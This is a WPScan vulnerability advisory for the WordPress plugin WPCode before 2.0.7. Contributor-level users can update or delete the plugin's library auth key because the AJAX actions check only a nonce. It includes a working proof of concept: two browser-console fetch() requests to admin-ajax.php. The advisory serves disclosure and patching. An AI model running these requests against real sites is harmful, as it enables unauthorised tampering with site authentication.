Lucene search

K
wpvulndbSanjay DasWPVDB-ID:3C4318A9-A3C5-409B-A52E-EDD8583C3C43
HistoryFeb 09, 2023 - 12:00 a.m.

WPCode < 2.0.7 - Contributor+ WPCode Library Auth Key Update/Deletion

2023-02-0900:00:00
Sanjay Das
wpscan.com
13
wordpress
plugin
ajax
authentication
security issue

EPSS

0.001

Percentile

25.6%

The plugin does not have adequate privilege checks in place for several AJAX actions, only checking the nonce. This may lead to allowing any authenticated user who can edit posts to call the endpoints related to WPCode Library authentication (such as update and delete the auth key).

PoC

As a contributor, edit a post and extract the nonce from the “var wpcode =” JS code, then run the below command in the developer console of the web browser To update the auth key: fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: ‘action=wpcode_library_store_auth&_ajax_nonce=NONCE&key;=AAAAAA&username;=dummy&origin;=https://library.wpcode.com’, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data)); To delete the auth key fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: ‘action=wpcode_library_delete_auth&_ajax_nonce=NONCE’, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));

EPSS

0.001

Percentile

25.6%

Related for WPVDB-ID:3C4318A9-A3C5-409B-A52E-EDD8583C3C43